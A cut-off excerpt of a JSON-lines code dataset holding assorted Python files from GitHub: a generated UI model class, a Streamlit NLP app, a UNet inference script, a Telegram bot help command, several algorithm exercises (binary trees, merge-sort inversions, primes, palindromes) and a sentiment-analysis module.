new_state):\n\t\tself._setter_access_tracker[\"TextBox51\"] = {}\n\t\tself._TextBox51 = TextBox(new_state)\n\n\t@property\n\tdef Anchor47(self):\n\t\tself._getter_access_tracker[\"Anchor47\"] = {}\n\t\treturn self._Anchor47\n\t@Anchor47.setter\n\tdef Anchor47(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor47\"] = {}\n\t\tself._Anchor47 = Anchor(new_state)\n\n\t@property\n\tdef Anchor48(self):\n\t\tself._getter_access_tracker[\"Anchor48\"] = {}\n\t\treturn self._Anchor48\n\t@Anchor48.setter\n\tdef Anchor48(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor48\"] = {}\n\t\tself._Anchor48 = Anchor(new_state)\n\n\t@property\n\tdef Anchor49(self):\n\t\tself._getter_access_tracker[\"Anchor49\"] = {}\n\t\treturn self._Anchor49\n\t@Anchor49.setter\n\tdef Anchor49(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor49\"] = {}\n\t\tself._Anchor49 = Anchor(new_state)\n\n\t@property\n\tdef Anchor50(self):\n\t\tself._getter_access_tracker[\"Anchor50\"] = {}\n\t\treturn self._Anchor50\n\t@Anchor50.setter\n\tdef Anchor50(self, new_state):\n\t\tself._setter_access_tracker[\"Anchor50\"] = {}\n\t\tself._Anchor50 = Anchor(new_state)\n\n\t@property\n\tdef TextBox52(self):\n\t\tself._getter_access_tracker[\"TextBox52\"] = {}\n\t\treturn self._TextBox52\n\t@TextBox52.setter\n\tdef TextBox52(self, new_state):\n\t\tself._setter_access_tracker[\"TextBox52\"] = {}\n\t\tself._TextBox52 = TextBox(new_state)\n\n\t@property\n\tdef Flex42(self):\n\t\tself._getter_access_tracker[\"Flex42\"] = {}\n\t\treturn self._Flex42\n\t@Flex42.setter\n\tdef Flex42(self, new_state):\n\t\tself._setter_access_tracker[\"Flex42\"] = {}\n\t\tself._Flex42 = Flex(new_state)\n\n\t@property\n\tdef Flex43(self):\n\t\tself._getter_access_tracker[\"Flex43\"] = {}\n\t\treturn self._Flex43\n\t@Flex43.setter\n\tdef Flex43(self, new_state):\n\t\tself._setter_access_tracker[\"Flex43\"] = {}\n\t\tself._Flex43 = Flex(new_state)\n\n\t@property\n\tdef Flex44(self):\n\t\tself._getter_access_tracker[\"Flex44\"] = {}\n\t\treturn self._Flex44\n\t@Flex44.setter\n\tdef Flex44(self, new_state):\n\t\tself._setter_access_tracker[\"Flex44\"] = {}\n\t\tself._Flex44 = Flex(new_state)\n\n\t@property\n\tdef Flex45(self):\n\t\tself._getter_access_tracker[\"Flex45\"] = {}\n\t\treturn self._Flex45\n\t@Flex45.setter\n\tdef Flex45(self, new_state):\n\t\tself._setter_access_tracker[\"Flex45\"] = {}\n\t\tself._Flex45 = Flex(new_state)\n\n\t@property\n\tdef Flex46(self):\n\t\tself._getter_access_tracker[\"Flex46\"] = {}\n\t\treturn self._Flex46\n\t@Flex46.setter\n\tdef Flex46(self, new_state):\n\t\tself._setter_access_tracker[\"Flex46\"] = {}\n\t\tself._Flex46 = Flex(new_state)\n \n\tdef _to_json_fields(self):\n\t\treturn {\n\t\t\t\"container\": self._container,\n\t\t\t\"TextBox7\": self._TextBox7,\n\t\t\t\"TextBox8\": self._TextBox8,\n\t\t\t\"TextBox9\": self._TextBox9,\n\t\t\t\"TextBox10\": self._TextBox10,\n\t\t\t\"TextBox11\": self._TextBox11,\n\t\t\t\"Image1\": self._Image1,\n\t\t\t\"Anchor7\": self._Anchor7,\n\t\t\t\"Anchor8\": self._Anchor8,\n\t\t\t\"Anchor9\": self._Anchor9,\n\t\t\t\"Anchor10\": self._Anchor10,\n\t\t\t\"Anchor11\": self._Anchor11,\n\t\t\t\"Anchor12\": self._Anchor12,\n\t\t\t\"Flex6\": self._Flex6,\n\t\t\t\"Flex7\": self._Flex7,\n\t\t\t\"Flex8\": self._Flex8,\n\t\t\t\"navbar\": self._navbar,\n\t\t\t\"TextBox12\": self._TextBox12,\n\t\t\t\"TextBox13\": self._TextBox13,\n\t\t\t\"headline\": self._headline,\n\t\t\t\"gallery\": self._gallery,\n\t\t\t\"Flex14\": self._Flex14,\n\t\t\t\"Image2\": self._Image2,\n\t\t\t\"Image3\": self._Image3,\n\t\t\t\"Image8\": self._Image8,\n\t\t\t\"Image9\": self._Image9,\n\t\t\t\"Flex17\": self._Flex17,\n\t\t\t\"Image10\": self._Image10,\n\t\t\t\"Image11\": self._Image11,\n\t\t\t\"Flex18\": self._Flex18,\n\t\t\t\"Image12\": self._Image12,\n\t\t\t\"Image13\": self._Image13,\n\t\t\t\"Image14\": self._Image14,\n\t\t\t\"Image15\": self._Image15,\n\t\t\t\"Image16\": self._Image16,\n\t\t\t\"TextBox22\": self._TextBox22,\n\t\t\t\"Image17\": self._Image17,\n\t\t\t\"Flex19\": self._Flex19,\n\t\t\t\"Flex20\": self._Flex20,\n\t\t\t\"Flex21\": self._Flex21,\n\t\t\t\"Flex22\": self._Flex22,\n\t\t\t\"Flex23\": self._Flex23,\n\t\t\t\"Flex24\": self._Flex24,\n\t\t\t\"Image18\": self._Image18,\n\t\t\t\"Anchor21\": self._Anchor21,\n\t\t\t\"Anchor22\": self._Anchor22,\n\t\t\t\"Anchor23\": self._Anchor23,\n\t\t\t\"Anchor24\": self._Anchor24,\n\t\t\t\"Anchor25\": self._Anchor25,\n\t\t\t\"Anchor26\": self._Anchor26,\n\t\t\t\"Anchor27\": self._Anchor27,\n\t\t\t\"Flex30\": self._Flex30,\n\t\t\t\"Flex31\": self._Flex31,\n\t\t\t\"TextBox27\": self._TextBox27,\n\t\t\t\"Image19\": self._Image19,\n\t\t\t\"Flex33\": self._Flex33,\n\t\t\t\"footer\": self._footer,\n\t\t\t\"Anchor28\": self._Anchor28,\n\t\t\t\"Anchor29\": self._Anchor29,\n\t\t\t\"Anchor30\": self._Anchor30,\n\t\t\t\"Anchor31\": self._Anchor31,\n\t\t\t\"Anchor32\": self._Anchor32,\n\t\t\t\"Anchor33\": self._Anchor33,\n\t\t\t\"TextBox28\": self._TextBox28,\n\t\t\t\"Flex35\": self._Flex35,\n\t\t\t\"Anchor34\": self._Anchor34,\n\t\t\t\"TextBox41\": self._TextBox41,\n\t\t\t\"TextBox42\": self._TextBox42,\n\t\t\t\"TextBox43\": self._TextBox43,\n\t\t\t\"TextBox44\": self._TextBox44,\n\t\t\t\"TextBox45\": self._TextBox45,\n\t\t\t\"TextBox46\": self._TextBox46,\n\t\t\t\"TextBox47\": self._TextBox47,\n\t\t\t\"TextBox48\": self._TextBox48,\n\t\t\t\"TextBox49\": self._TextBox49,\n\t\t\t\"Anchor43\": self._Anchor43,\n\t\t\t\"TextBox50\": self._TextBox50,\n\t\t\t\"Anchor44\": self._Anchor44,\n\t\t\t\"Anchor45\": self._Anchor45,\n\t\t\t\"Anchor46\": self._Anchor46,\n\t\t\t\"TextBox51\": self._TextBox51,\n\t\t\t\"Anchor47\": self._Anchor47,\n\t\t\t\"Anchor48\": self._Anchor48,\n\t\t\t\"Anchor49\": self._Anchor49,\n\t\t\t\"Anchor50\": self._Anchor50,\n\t\t\t\"TextBox52\": self._TextBox52,\n\t\t\t\"Flex42\": self._Flex42,\n\t\t\t\"Flex43\": self._Flex43,\n\t\t\t\"Flex44\": self._Flex44,\n\t\t\t\"Flex45\": self._Flex45,\n\t\t\t\"Flex46\": self._Flex46\n\t\t\t}\n ","repo_name":"cruxcode/atrilabs_landing","sub_path":"controllers/routes/showcase_model.py","file_name":"showcase_model.py","file_ext":"py","file_size_in_byte":30833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16105663847","text":"import string\n\n\ns = [1,2,3,4,5,6,7,8]\ni=0\nwhile True:\n string = \"\"\n a = bin(i)[2:]\n if len(a)\n

    NLP Applications

    \n \n \"\"\"\n\n st.markdown(title_templ,unsafe_allow_html=True)\n\n # subheader_templ = \"\"\"\n #
    \n #

    Natural Language Processing On the Go...

    \n #
    \n # \"\"\"\n\n # st.markdown(subheader_templ,unsafe_allow_html=True)\n\n st.sidebar.image(\"https://thumbs.dreamstime.com/z/wooden-alphabets-building-word-nlp-natural-language-processing-acronym-blackboard-wooden-alphabets-building-word-nlp-197694170.jpg\", use_column_width=True)\n\n activity = [\"Text Analysis\", \"Translation\", \"Summarization\", \"Sentiment Analysis\", \"About\"]\n choice = st.sidebar.selectbox(\"Menu\",activity)\n\n # lottie_penguin = load_lottieurl('https://assets9.lottiefiles.com/private_files/lf30_lntyk83o.json')\n # st_lottie(lottie_penguin, height=200)\n\n translator = Translator()\n summarizer = pipeline(\"summarization\")\n\n\t# Text Analysis CHOICE\n if choice == 'Text Analysis':\n\n st.subheader(\"Text Analysis\")\n st.write(\"\")\n st.write(\"\")\n\n raw_text = st.text_area(\"Write something\",\"Enter a Text in English...\",height=250)\n\n if st.button(\"Analyze\"):\n if len(raw_text) == 0:\n st.warning(\"Enter a Text...\")\n else:\n blob = TextBlob(raw_text)\n lang = translator.detect(raw_text)\n st.write(lang.lang)\n st.write(f\"End textblob {lang.lang != 'en'}\")\n st.write(\"\")\n\n if lang.lang != 'en':\n st.warning(\"Enter a Text in English...\")\n else:\n st.info(\"Basic Functions\")\n col1, col2 = st.columns(2)\n\n with col1:\n with st.expander(\"Basic Info\"):\n st.success(\"Text Stats\")\n word_desc = nt.TextFrame(raw_text).word_stats()\n result_desc = {\"Length of Text\":word_desc['Length of Text'],\n \"Num of Vowels\":word_desc['Num of Vowels'],\n \"Num of Consonants\":word_desc['Num of Consonants'],\n \"Num of Stopwords\":word_desc['Num of Stopwords']}\n st.write(result_desc)\n\n with st.expander(\"Stopwords\"):\n st.success(\"Stop Words List\")\n stop_w = nt.TextExtractor(raw_text).extract_stopwords()\n st.error(stop_w)\n\n with col2:\n with st.expander(\"Processed Text\"):\n st.success(\"Stopwords Excluded Text\")\n processed_text = str(nt.TextFrame(raw_text).remove_stopwords())\n st.write(processed_text)\n\n with st.expander(\"Plot Wordcloud\"):\n st.success(\"Wordcloud\")\n plot_wordcloud(raw_text)\n\n # st.write(\"\")\n # st.write(\"\")\n # st.info(\"Advanced Features\")\n # col3 = st.columns(1)\n\n # with col3:\n # with st.expander(\"Tokens&Lemmas\"):\n # st.write(\"T&L\")\n # processed_text_mid = str(nt.TextFrame(raw_text).remove_stopwords())\n # processed_text_mid = str(nt.TextFrame(processed_text_mid).remove_puncts())\n # processed_text_fin = str(nt.TextFrame(processed_text_mid).remove_special_characters())\n # tandl = text_analyzer(processed_text_fin)\n # st.json(tandl)\n\n\n # Translation CHOICE\n elif choice == 'Translation':\n\n st.subheader(\"Text Translation to the Chosen Language\")\n\n st.write(\"\")\n st.write(\"\")\n col1, col2 = st.columns(2)\n\n tran_result = \"\"\n\n with col1:\n raw_text = st.text_area(\"Original Text\",\"Write something to be translated...\", height=350)\n if len(raw_text) < 3:\n st.warning(\"Please provide a string with at least 3 characters...\")\n else:\n translator = Translator()\n blob = TextBlob(raw_text)\n lang = translator.detect(raw_text)\n st.write(f\"Detected language: {lang.lang}\")\n tran_options = st.selectbox(\"Select translation language\",['Chinese', 'English', 'German', 'Italian', 'Russian', 'Spanish', \"Korean\"])\n if st.button(\"Translate\"):\n if tran_options == 'Italian' and lang != 'it':\n tran_result = translator.translate(raw_text, src=lang.lang, dest='en')\n elif tran_options == 'Spanish' and lang != 'es':\n tran_result = translator.translate(raw_text, src=lang.lang, dest='en')\n elif tran_options == 'Chinese' and lang != 'zh-CN':\n tran_result = translator.translate(raw_text, src=lang.lang, dest='zh-CN')\n elif tran_options == 'Russian' and lang != 'ru':\n tran_result = translator.translate(raw_text, src=lang.lang, dest='en')\n elif tran_options == 'German' and lang != 'de':\n tran_result = translator.translate(raw_text, src=lang.lang, dest='en')\n elif tran_options == 'English' and lang != 'en':\n tran_result = translator.translate(raw_text, src=lang.lang, dest='en')\n elif tran_options == 'Korean' and lang != 'ko':\n tran_result = translator.translate(raw_text, src=lang.lang, dest='en')\n else:\n tran_result = \"Text is already in \" + \"'\" + lang + \"'\"\n\n with col2:\n if tran_result != \"\":\n # st.success(tran_result.text)\n st.text_area(\"Translated Text\",tran_result.text, height=350)\n else:\n st.warning(\"Please provide a string with at least 3 characters...\")\n\n # Sentiment Analysis CHOICE\n elif choice == 'Summarization':\n\n st.subheader(\"Document Summarization\")\n\n st.write(\"\")\n st.write(\"\")\n summary_text = \"\"\n col1, col2 = st.columns(2)\n\n with col1:\n raw_text = st.text_area(\"Original Text\", \"Paste original text in English. Try new text by typing or paste..\", height=350)\n if st.button(\"Summarize\"):\n #summary_text = summarize(raw_text,ratio=0.25)\n summary_text = summarizer(raw_text)\n\n with col2:\n if summary_text != \"\":\n st.text_area(\"Summary\",summary_text[0][\"summary_text\"], height=350)\n else:\n st.warning(\"Please provide a string with at least 3 characters...\")\n\n # Sentiment Analysis CHOICE\n elif choice == 'Sentiment Analysis':\n\n st.subheader(\"Sentiment Analysis\")\n\n st.write(\"\")\n st.write(\"\")\n\n raw_text = st.text_area(\"\", \"Enter a Text...\")\n\n if st.button(\"Evaluate\"):\n if len(raw_text) == 0:\n st.warning(\"Enter a Text...\")\n else:\n blob = TextBlob(raw_text)\n lang = translator.detect(raw_text)\n\n if lang.lang != 'en':\n tran_result = translator.translate(raw_text, src=lang.lang, dest='en')\n blob = TextBlob(str(tran_result))\n\n result_sentiment = blob.sentiment\n st.info(\"Sentiment Polarity: {}%\".format(round(result_sentiment.polarity*100, 3)))\n st.info(\"Sentiment Subjectivity: {}\".format(round(result_sentiment.subjectivity, 3)))\n\n # About CHOICE\n else:# choice == 'About':\n st.subheader(\"About\")\n st.write(\"\")\n st.markdown(\"\"\"\n ### The app used various python modules such as Streamlit, Goolge API, and TextBlob.\n ### In the future, other advanced APIs will be added when more powerful hardware is available.\n ##### Inspired By **[Rosario Moscato LAB](https://www.youtube.com/channel/UCDn-FahQNJQOekLrOcR7-7Q)**\n \"\"\")\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"jiafen88/nlp-web-app22","sub_path":"Web_App_Scratch_Streamlit.py","file_name":"Web_App_Scratch_Streamlit.py","file_ext":"py","file_size_in_byte":10059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3248190075","text":"import torch\nimport pathlib\nfrom unet import UNet\nimport numpy as np\nfrom skimage.io import imread\nfrom skimage.transform import resize\nfrom transformations import normalize_01, re_normalize\nimport matplotlib.pyplot as plt\n\n\ndef predict(img, model, preprocess, postprocess, device):\n model.eval()\n img = preprocess(img) # preprocess image\n x = torch.from_numpy(img).to(device) # to torch, send to device\n with torch.no_grad():\n out = model(x) # send through model/network\n\n out_softmax = torch.softmax(out, dim=1) # perform softmax on outputs\n result = postprocess(out_softmax) # postprocess outputs\n\n return result\n\n\n# root directory\nroot = pathlib.Path.cwd() / 'CHASEDB1_augmented' / 'Test'\nprint(root)\ndef get_filenames_of_path(path: pathlib.Path, ext: str = '*'):\n \"\"\"Returns a list of files in a directory/path. Uses pathlib.\"\"\"\n filenames = [file for file in path.glob(ext) if file.is_file()]\n return filenames\n\n# input and target files\nimages_names = get_filenames_of_path(root / 'Input')\ntargets_names = get_filenames_of_path(root / 'Target')\n\n# read images and store them in memory\nimages = [imread(img_name) for img_name in images_names]\ntargets = [imread(tar_name) for tar_name in targets_names]\n\n# Resize images and targets\nimages_res = [resize(img, (128, 128, 3)) for img in images]\nprint(np.where(images_res[0] != 0))\nprint(len(images_res))\nresize_kwargs = {'order': 0, 'anti_aliasing': False, 'preserve_range': True}\ntargets_res = [resize(tar, (128, 128), **resize_kwargs) for tar in targets]\n\n# device\nif torch.cuda.is_available():\n device = torch.device('cuda')\nelse:\n device = torch.device('cpu')\n\n# model\nmodel = UNet(in_channels=3,\n out_channels=2,\n n_blocks=4,\n start_filters=32,\n activation='relu',\n normalization='batch',\n conv_mode='same',\n dim=2).to(device)\n\n\nmodel_name = 'chase_augmented_regularized_model_adam_batch10_lr01.pt'\nmodel_weights = torch.load(pathlib.Path.cwd() / model_name)\nprint(pathlib.Path.cwd() / model_name)\n\nmodel.load_state_dict(model_weights)\nprint(model_weights)\n\n# preprocess function\ndef preprocess(img: np.ndarray):\n img = np.moveaxis(img, -1, 0) # from [H, W, C] to [C, H, W]\n img = normalize_01(img) # linear scaling to range [0-1]\n img = np.expand_dims(img, axis=0) # add batch dimension [B, C, H, W]\n img = img.astype(np.float32) # typecasting to float32\n return img\n\n\n# postprocess function\ndef postprocess(img: torch.tensor):\n img = torch.argmax(img, dim=1) # perform argmax to generate 1 channel\n img = img.cpu().numpy() # send to cpu and transform to numpy.ndarray\n img = np.squeeze(img) # remove batch dim and channel dim -> [H, W]\n img = re_normalize(img) # scale it to the range [0-255]\n return img\n\n# predict the segmentation maps \noutput = [predict(img, model, preprocess, postprocess, device) for img in images_res]\n\nfor i in np.arange(9):\n print(np.where(output[i] != 0))\n\nplt.imshow(images_res[7])\nplt.scatter(np.where(output[7] == 1)[0], np.where(output[7] == 1)[1], color='black', s=3)\n","repo_name":"Juliette-Boivin/TopologicalLoss","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"6310741534","text":"class BinaryTreeNode(object):\n def __init__(self, value):\n self.value = value \n self.left = None\n self.right = None\n\nclass BT(BinaryTreeNode):\n def traverse_tree(self, root):\n if root is None:\n return\n self.traverse_tree(root.left)\n self.traverse_tree(root.right)\n print(\"{}->\".format(root.value), end=\"\")\n\n def insert(self, values, i=0):\n # this insert nodes one by one to create a Binary tree, not BST\n\n # example: when we have BT(1).insert([2, 3])\n # first we insert [2] with i=0 (values[0]), insert 2 to 1's left since it's none\n # then [3] with i=1 (values[1]), insert 3 to 1's right since it's none\n # when we try to insert values[2] which is none, then i== len(values), we stop insert\n\n # q is always [1] in the beginning\n # first q is [1] only, q.pop(0) is 1, so insert 2 to 1's left, break, call insert (3, 1)\n # now q is [1] again, q.pop(0) is 1\n # so next insert 3 to 1's right, break, call insert (4, 2)\n\n # now when we go to insert 4, and q is reset to [1] again\n # we pop q[0]==1, since its left and right are not none, we call q.append(cur.left), then q becomes [2]\n # then q.append(cur.right), then q = [2,3]\n # Then call insert(5,3)\n # now q is reset to [1] again\n # then q.pop(0) == 1, we find 1's left and right are not none, so append 2&3 to q, so q=[2,3]\n # then q.pop(0) == 2, we find 2's left is not none, append 4 to q, so q=[3,4], \n # then find 2's right is None, so insert 5 to 2's right, break \n if i >= len(values):\n return\n\n # here q is always [1], because everytime we are here, we call the function recursively\n # so we always re-enter the function, and q starts with [1]\n # q is updated within the while loop\n q = [self]\n print(\"q begins\".center(20, \"=\"))\n for x in q:\n print(x.value)\n print(\"..............\")\n print('q[0] value {}'.format(q[0].value))\n while len(q) > 0:\n cur = q.pop(0) # pop the node from leftest\n print('cur node value = {}'.format(cur.value))\n if cur.left is None:\n print(\"insert {} to {}'s left\".format(values[i], cur.value))\n cur.left = BinaryTreeNode(values[i])\n break\n print(\"append cur.left {} to q\".format(cur.left.value))\n q.append(cur.left)\n print(\"q\".center(10, \"-\"))\n for x in q:\n print(x.value)\n if cur.right is None:\n print(\"insert {} to {}'s right\".format(values[i], cur.value))\n cur.right = BinaryTreeNode(values[i])\n break\n print(\"append cur.right {} to q\".format(cur.right.value))\n q.append(cur.right)\n print(\"q\".center(10, \"*\"))\n for x in q:\n print(x.value)\n print(\"call insert recursively\")\n self.insert(values, i+1)\n return self\n def printSelf(self):\n print(self.value)\n print(self.left)\n print(self.right)\n\n def bst_insert(self, value):\n # this insert nodes as a BST: left < cur < right\n # 1\n # 2\n # 4\n # 3 5\n if value < self.value:\n if self.left is None:\n self.left = BT(value)\n else:\n self.left.bst_insert(value)\n else:\n if self.right is None:\n self.right = BT(value)\n else:\n self.right.bst_insert(value)\n return self\n\n\nclass Solution(object):\n def print_branch_sum(self, tree):\n sum_out = []\n self.print_bs(tree, 0, sum_out)\n print(sum_out)\n\n def print_bs(self, tree, runningSum, sum_out):\n # have two returns to break the recursion\n # sum_out is updated during the call, so only return is enough, no need to return a value\n # first is, if tree i None\n if tree is None:\n return\n\n\n # first add current node's value to runningSum\n runningSum = runningSum + tree.value\n\n # if we go to the leaf node, then it's time to append the runningSum to the output\n if tree.left is None and tree.right is None:\n sum_out.append(runningSum)\n # second \n return\n\n # the recursive call can be put here, or after checking if the tree is leaf\n # but logically, it should be placed after checking the node is leaf or not\n # here it means: if node is not leaf, then we need to count its left subtree and right subtree's sum\n self.print_bs(tree.left, runningSum, sum_out)\n self.print_bs(tree.right, runningSum, sum_out)\n\n\ntree = BT(1).insert([2, 3, 4, 5, 6])\n# tree = BT(1).bst_insert(2).bst_insert(4).bst_insert(3).bst_insert(5)\n# tree = BT(100).bst_insert(5).bst_insert(15).bst_insert(2).bst_insert(1).bst_insert(5)\ntree.traverse_tree(tree)\n\nsol = Solution()\nsol.print_branch_sum(tree)\n\n\n\n","repo_name":"jinghaox/CodingPractice","sub_path":"BinaryTree/branch_sum.py","file_name":"branch_sum.py","file_ext":"py","file_size_in_byte":5049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15951653116","text":"def help(bot, message):\n commands = []\n for p in (\"high\", \"mid\", \"low\"):\n for cmd, funcs in bot.commands[p].items():\n if not hasattr(funcs[0], 'hidden'):\n if hasattr(funcs[0], 'help'):\n help = funcs[0].help\n else:\n help = \"\"\n if (cmd.pattern.strip('^$*.[]_'), help) not in commands:\n commands.append((cmd.pattern.strip('^$*.[]_'), help))\n\n commands.sort()\n commands_str = \"\"\n for cmd in commands:\n commands_str += cmd[0] + ' ' + cmd[1] + '\\n'\n message.answer(commands_str)\n return\n\nhelp.commands = ['^/help$']\nhelp.help = \"Выводит список команд и описание первой функции этой команды\"","repo_name":"EnderPon/modular-telegram-bot","sub_path":"modules/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10011600589","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\n###\n#Time = O(n)\n#Space = O(n)\n###\n\ndef isPalinedromePerm(string):\n char_set = {}\n numTwo = 0\n numSpaces = 0\n for idx, ch in enumerate(string):\n if ch != \" \":\n if ch in char_set.keys():\n char_set[ch] += 1\n if char_set[ch] > 2:\n return False\n else:\n numTwo += 1\n else:\n char_set[ch] = 1\n else:\n numSpaces += 1\n\n if (len(string) - numSpaces) % 2 == 0 and numTwo == (len(string) - numSpaces):\n return True\n elif (len(string) - numSpaces) % 2 != 0 and numTwo == (len(string) - numSpaces - 1)/2:\n return True\n else:\n return False\n\n\nif __name__ == \"__main__\":\n assert(isPalinedromePerm(\"taco cat\") == True)\n assert(isPalinedromePerm(\"bob\") == True)\n assert(isPalinedromePerm(\"cat\") == False)\n\n print(\"All tests passed\")\n\n\n","repo_name":"jdcast/cracking-the-coding-interview","sub_path":"ch_1/p1_4.py","file_name":"p1_4.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9524296332","text":"import numpy as np\nfrom random import shuffle\nimport matplotlib.pyplot as plt\nimport time\n\n\nTESTS = 100\n\n# I spent a day bashing my head against this and Alex ended up helping me out\n# read my comments so you know I understand whats going on.\n# Thank you alex for the help, you have saved my ass\n\n\n\ndef mergeSort(A, p, r):\n count = 0\n if p < r:\n q = (p + r)//2\n # divide more on the lower section of A\n count += mergeSort(A, p, q)\n # divide more on the upper section of A\n count += mergeSort(A, q + 1, r)\n # combine lower and upper sections\n count += merge(A, p, q, r)\n return count\n\n\ndef merge(A, p, q, r):\n # A is the original array,\n # p is the pivot index,\n # q is the left index,\n # r is the right index\n\n count = i = j = 0\n # K is the pivot location\n k = p\n low = []\n high = []\n\n # Create the lower array\n for x in range(p, q+1):\n low.append(A[x])\n # Created the upper array\n for x in range(q+1, r+1):\n high.append(A[x])\n\n # This is where the actual sorting happens\n while i < (q - p + 1) and j < (r - q):\n # If the element doesn't need to be moved then its put right back into A\n if low[i] <= high[j]:\n A[k] = low[i]\n i += 1\n else:\n A[k] = high[j]\n # the i-th element and all following elements in low are flips\n # high will slot into here in low so we have to count\n # all of those flips. This is the really clever bit of counting\n count += (q - p + 1 - i)\n j += 1\n k += 1\n while i < (q - p + 1):\n A[k] = low[i]\n i += 1\n k += 1\n while j < (r - q):\n A[k] = high[j]\n j += 1\n k += 1\n return count\n\n\ndef printList(arr):\n for i in range(len(arr)):\n print(arr[i], end=\" \")\n print()\n\n\ndef shuffle_count(A):\n flips = 0\n # Get a number to check\n for i in range(0, len(A)):\n num = A[i]\n # loop through all numbers after the index of num to check for flips\n for j in range(i, len(A)):\n if A[j] < num:\n flips += 1\n\n return flips\n\n\nn2swaps = []\nn2times = []\nlognswaps = []\nlogtimes = []\n\nfor i in range(1, TESTS + 1):\n n = [item for item in range(1, i + 1)]\n shuffle(n)\n sortedlist = shuffle_count(n)\n # print(sortedlist)\n start = time.time()\n n2swaps.append(sortedlist)\n n2times.append(time.time() - start)\n\n startlog = time.time()\n ms = mergeSort(n, 0, len(n)-1)\n logtimes.append(time.time() - startlog)\n # print(sortedlist)\n lognswaps.append(ms)\n\n\n# print(\"n2swaps\", n2swaps)\n# print(\"lognswaps\", lognswaps)\nif n2swaps != lognswaps:\n print(\"your sorting algorithms didn't agree\")\nelse:\n print(\"your sorting algorithms agreed\")\n\n# sortbottles, sortcaps = sort(bottles, caps)\n\n# print(sortbottles, sortcaps)\n\ntrials = [item for item in range(0, TESTS)]\nplt.plot(trials, n2times, label=\"n^2 times\", linestyle=\":\")\nplt.plot(trials, logtimes, label=\"logn times\", linestyle=\"-\")\nplt.plot(trials, n2swaps, label=\"n^2 swaps\", linestyle=\"-.\")\nplt.plot(trials, lognswaps, label=\"logn swaps\", linestyle=\"--\")\nplt.legend(loc='upper left')\n# plt.show()\n\nplt.savefig(\"logflips.png\")\n","repo_name":"NikolaasBender/algo_hw","sub_path":"hw14/Bender-Nikolaas-PS7b-Q2.py","file_name":"Bender-Nikolaas-PS7b-Q2.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15178557969","text":"# Find the 10001st prime number\n\n# Returns true/false depending on if a number is prime or not\ndef isPrime(num):\n if num == 2: # 2 is prime\n return True\n elif num%2 == 0: # All other even numbers are not prime\n return False\n # Check if divisible by every odd number x such that: 3 <= x < num\n for i in range(3, num, 2):\n if num%i == 0:\n return False\n return True\n\nnumber = 2\nwhichPrime = 1\n\nwhile True:\n number += 1\n if isPrime(number):\n whichPrime += 1\n print(str(number) + \" is the \" + str(whichPrime) + \"th prime\")\n if whichPrime == 10001:\n break;\n","repo_name":"AaronChelvan/project_euler","sub_path":"7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11485518912","text":"# Import the SentimentIntensityAnalyzer class\nimport json\nimport argparse\nfrom prettytable import PrettyTable, ALL\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem import WordNetLemmatizer\n\ndef sentiment(result, modelName='NLTK', **kwargs):\n if modelName == 'NLTK':\n return sentimentNLTK(result, **kwargs)\n else:\n return sentimentTrans(result, **kwargs)\n\n# create preprocess_text function\ndef preprocess_text(text):\n # Tokenize the text\n tokens = word_tokenize(text.lower())\n\n # Remove stop words\n filtered_tokens = [token for token in tokens if token not in stopwords.words('english')]\n\n # Lemmatize the tokens\n lemmatizer = WordNetLemmatizer()\n lemmatized_tokens = [lemmatizer.lemmatize(token) for token in filtered_tokens]\n\n # Join the tokens back into a string\n processed_text = ' '.join(lemmatized_tokens)\n return processed_text\n\n\ndef sentimentNLTK(result, **kwargs):\n try:\n import nltk\n except ModuleNotFoundError as e:\n print('nltk module not found. Please install with pip. Abort')\n raise e\n from nltk.sentiment import SentimentIntensityAnalyzer\n nltk.download('all')\n nltk.download('vader_lexicon')\n # Create an instance of the class\n sia = SentimentIntensityAnalyzer()\n negRuns = []\n negHistory = []\n negSummary = []\n for runId, content in result.items():\n scores = sia.polarity_scores(preprocess_text(' '.join([line for _, line in content.message.items()])))\n if scores['neg'] > 0:\n negRuns.append(runId)\n\n if content.history is None:\n scores = {'neg': 1}\n else:\n runStart = content.runStart\n history = ('\\n').join([entry for time, entry in content.history.items() if time > runStart and not entry.startswith('Summary Report')])\n scores = sia.polarity_scores(preprocess_text(history))\n if scores['neg'] > 0:\n negHistory.append(runId)\n\n if content.summary is None:\n scores = {'neg': 1}\n else:\n txts = content.summary.split('run number | status')\n txts = txts[0] # if the run number doesn't exist, we just use the entire thing\n scores = sia.polarity_scores(preprocess_text(txts))\n if scores['neg'] > 0:\n negSummary.append(runId)\n return negRuns, negHistory, negSummary\n\ndef sentimentTrans(result, threshold, **kwargs):\n try:\n from transformers import pipeline\n except ModuleNotFoundError as e:\n print('Module transformer not found. Please install both transformer and tensorflow with pip. Abort')\n raise e\n sentiment_pipeline = pipeline('sentiment-analysis', truncation=True)\n negRuns = []\n\n runIds = []\n contents = []\n fullContents = []\n\n for runId, content in result.items():\n runIds.append(runId)\n contents.append('\\n'.join([line for line in content[0].split('\\n') if 'production_' not in line]))\n fullContents.append(content)\n results = sentiment_pipeline(contents)\n for runId, result, content in zip(runIds, results, fullContents):\n if result['label'] == 'NEGATIVE' and result['score'] > threshold:\n negRuns.append(runId)\n return 